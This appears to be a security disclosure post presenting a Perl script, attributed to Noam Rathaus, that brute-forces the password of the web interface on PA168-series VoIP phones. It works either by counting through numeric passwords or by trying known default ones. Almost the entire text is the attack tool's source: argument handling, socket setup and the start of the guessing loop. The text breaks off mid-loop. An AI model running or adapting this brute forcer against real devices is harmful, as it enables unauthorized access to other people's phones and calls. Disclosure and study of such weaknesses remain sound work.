The following tool can be used to "break" into PA168 based phone's password protected web interface by brute forcing the password.
Tool source:
#!/usr/bin/perl
# The following is a very simple password brute forcer for PA168 series of devices
# It is able to "break" into its web interface in a few seconds if you choose option 1, and your
# VoIP phone's password has not been changed
#
# Author: Noam Rathaus (noamr[.at.]beyondsecurity.com)
use integer;
use IO::Socket;
use strict;
if (@ARGV < 3)
{
print $0. " hostname port method first_password\n";
print "\tHostname - The hostname or IP to test\n";
print "\tPort - The port of the device\n";
print "\tMethod - 0 for brute force, 1 for known passwords\n";
print "\tFirst_password - The first password to test (i.e. if you stopped somewhere and want to resume, by default set to 1)\n";
exit(0);
}
my $Host = shift;
my $Port = shift;
my $Method = shift;
my $remote;
my $Connection_Closed = 1;
print "Connected\n";
my $Password = 1;
my $Content = "";
my $Request = "";
my $LastPassword = shift;
if ($Method eq "1")
{
$LastPassword = "1";
}
if ($LastPassword eq "")
{
$LastPassword = 1;
}
my $Average = 0;
my $Count = 0;
my $StartTime = time;
my $CurrentTime = time;
my $CurrentPassword;
my $Passed;
for ($Password = $LastPassword; $Password < 123456789; $Password ++)
{
if ($Method)
{
if ($Count < 100)
{
if ($Count % 10 == 0)
{
$CurrentPassword = "";
}
